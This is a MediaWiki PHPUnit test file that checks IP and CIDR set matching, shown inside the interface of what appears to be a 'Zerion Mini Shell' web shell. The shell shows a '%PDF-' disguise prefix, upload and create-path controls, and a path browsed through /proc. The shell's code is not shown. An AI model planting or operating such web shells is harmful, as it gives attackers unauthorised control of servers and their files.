%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/libs/
Upload File :
Create Path :
Current File : //proc/thread-self/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/libs/IPSetTest.php

<?php

/**
 * @group IPSet
 */
class IPSetTest extends PHPUnit_Framework_TestCase {
	/**
	 * Provides test cases for IPSetTest::testIPSet
	 *
	 * Returns an array of test cases. Each case is an array of (description,
	 * config, tests).  Description is just text output for failure messages,
	 * config is an array constructor argument for IPSet, and the tests are
	 * an array of IP => expected (boolean) result against the config dataset.
	 */
	public static function provideIPSets() {
		return array(
			array(
				'old_list_subset',
				array(
					'208.80.152.162',
					'10.64.0.123',
					'10.64.0.124',
					'10.64.0.125',
					'10.64.0.126',
					'10.64.0.127',
					'10.64.0.128',
					'10.64.0.129',
					'10.64.32.104',
					'10.64.32.105',
					'10.64.32.106',
					'10.64.32.107',
					'91.198.174.45',
					'91.198.174.46',
					'91.198.174.47',
					'91.198.174.57',
					'2620:0:862:1:A6BA:DBFF:FE30:CFB3',
					'91.198.174.58',
					'2620:0:862:1:A6BA:DBFF:FE38:FFDA',
					'208.80.152.16',
					'208.80.152.17',
					'208.80.152.18',
					'208.80.152.19',
					'91.198.174.102',
					'91.198.174.103',
					'91.198.174.104',
					'91.198.174.105',
					'91.198.174.106',
					'91.198.174.107',
					'91.198.174.81',
					'2620:0:862:1:26B6:FDFF:FEF5:B2D4',
					'91.198.174.82',
					'2620:0:862:1:26B6:FDFF:FEF5:ABB4',
					'10.20.0.113',
					'2620:0:862:102:26B6:FDFF:FEF5:AD9C',
					'10.20.0.114',
					'2620:0:862:102:26B6:FDFF:FEF5:7C38',
				),
				array(
					'0.0.0.0' => false,
					'255.255.255.255' => false,
					'10.64.0.122' => false,
					'10.64.0.123' => true,
					'10.64.0.124' => true,
					'10.64.0.129' => true,
					'10.64.0.130' => false,
					'91.198.174.81' => true,
					'91.198.174.80' => false,
					'0::0' => false,
					'ffff:ffff:ffff:ffff:FFFF:FFFF:FFFF:FFFF' => false,
					'2001:db8::1234' => false,
					'2620:0:862:1:26b6:fdff:fef5:abb3' => false,
					'2620:0:862:1:26b6:fdff:fef5:abb4' => true,
					'2620:0:862:1:26b6:fdff:fef5:abb5' => false,
				),
			),
			array(
				'new_cidr_set',
				array(
					'208.80.154.0/26',
					'2620:0:861:1::/64',
					'208.80.154.128/26',
					'2620:0:861:2::/64',
					'208.80.154.64/26',
					'2620:0:861:3::/64',
					'208.80.155.96/27',
					'2620:0:861:4::/64',
					'10.64.0.0/22',
					'2620:0:861:101::/64',
					'10.64.16.0/22',
					'2620:0:861:102::/64',
					'10.64.32.0/22',
					'2620:0:861:103::/64',
					'10.64.48.0/22',
					'2620:0:861:107::/64',
					'91.198.174.0/25',
					'2620:0:862:1::/64',
					'10.20.0.0/24',
					'2620:0:862:102::/64',
					'10.128.0.0/24',
					'2620:0:863:101::/64',
					'10.2.4.26',
				),
				array(
					'0.0.0.0' => false,
					'255.255.255.255' => false,
					'10.2.4.25' => false,
					'10.2.4.26' => true,
					'10.2.4.27' => false,
					'10.20.0.255' => true,
					'10.128.0.0' => true,
					'10.64.17.55' => true,
					'10.64.20.0' => false,
					'10.64.27.207' => false,
					'10.64.31.255' => false,
					'0::0' => false,
					'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff' => false,
					'2001:DB8::1' => false,
					'2620:0:861:106::45' => false,
					'2620:0:862:103::' => false,
					'2620:0:862:102:10:20:0:113' => true,
				),
			),
			array(
				'empty_set',
				array(),
				array(
					'0.0.0.0' => false,
					'255.255.255.255' => false,
					'10.2.4.25' => false,
					'10.2.4.26' => false,
					'10.2.4.27' => false,
					'10.20.0.255' => false,
					'10.128.0.0' => false,
					'10.64.17.55' => false,
					'10.64.20.0' => false,
					'10.64.27.207' => false,
					'10.64.31.255' => false,
					'0::0' => false,
					'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff' => false,
					'2001:DB8::1' => false,
					'2620:0:861:106::45' => false,
					'2620:0:862:103::' => false,
					'2620:0:862:102:10:20:0:113' => false,
				),
			),
			array(
				'edge_cases',
				array(
					'0.0.0.0',
					'255.255.255.255',
					'::',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
					'10.10.10.10/25', // host bits intentional
				),
				array(
					'0.0.0.0' => true,
					'255.255.255.255' => true,
					'10.2.4.25' => false,
					'10.2.4.26' => false,
					'10.2.4.27' => false,
					'10.20.0.255' => false,
					'10.128.0.0' => false,
					'10.64.17.55' => false,
					'10.64.20.0' => false,
					'10.64.27.207' => false,
					'10.64.31.255' => false,
					'0::0' => true,
					'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff' => true,
					'2001:DB8::1' => false,
					'2620:0:861:106::45' => false,
					'2620:0:862:103::' => false,
					'2620:0:862:102:10:20:0:113' => false,
					'10.10.9.255' => false,
					'10.10.10.0' => true,
					'10.10.10.1' => true,
					'10.10.10.10' => true,
					'10.10.10.126' => true,
					'10.10.10.127' => true,
					'10.10.10.128' => false,
					'10.10.10.177' => false,
					'10.10.10.255' => false,
					'10.10.11.0' => false,
				),
			),
			array(
				'exercise_optimizer',
				array(
					'ffff:ffff:ffff:ffff:ffff:ffff:ffff:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fffe:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fffd:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fffc:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fffb:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fffa:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff9:8000/113',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff9:0/113',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff8:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff7:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff6:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff5:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff4:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff3:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff2:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff1:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:fff0:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffef:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffee:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffec:0/111',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffeb:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffea:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe9:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe8:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe7:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe6:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe5:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe4:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe3:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe2:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe1:0/112',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffe0:0/110',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffc0:0/107',
					'ffff:ffff:ffff:ffff:ffff:ffff:ffa0:0/107',
				),
				array(
					'0.0.0.0' => false,
					'255.255.255.255' => false,
					'::' => false,
					'ffff:ffff:ffff:ffff:ffff:ffff:ff9f:ffff' => false,
					'ffff:ffff:ffff:ffff:ffff:ffff:ffa0:0' => true,
					'ffff:ffff:ffff:ffff:ffff:ffff:ffc0:1234' => true,
					'ffff:ffff:ffff:ffff:ffff:ffff:ffed:ffff' => true,
					'ffff:ffff:ffff:ffff:ffff:ffff:fff4:4444' => true,
					'ffff:ffff:ffff:ffff:ffff:ffff:fff9:8080' => true,
					'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff' => true,
				),
			),
		);
	}

	/**
	 * Validates IPSet loading and matching code
	 *
	 * @covers IPSet
	 * @dataProvider provideIPSets
	 */
	public function testIPSet( $desc, array $cfg, array $tests ) {
		$ipset = new IPSet( $cfg );
		foreach ( $tests as $ip => $expected ) {
			$result = $ipset->match( $ip );
			$this->assertEquals( $expected, $result, "Incorrect match() result for $ip in dataset $desc" );
		}
	}
}

Zerion Mini Shell 1.0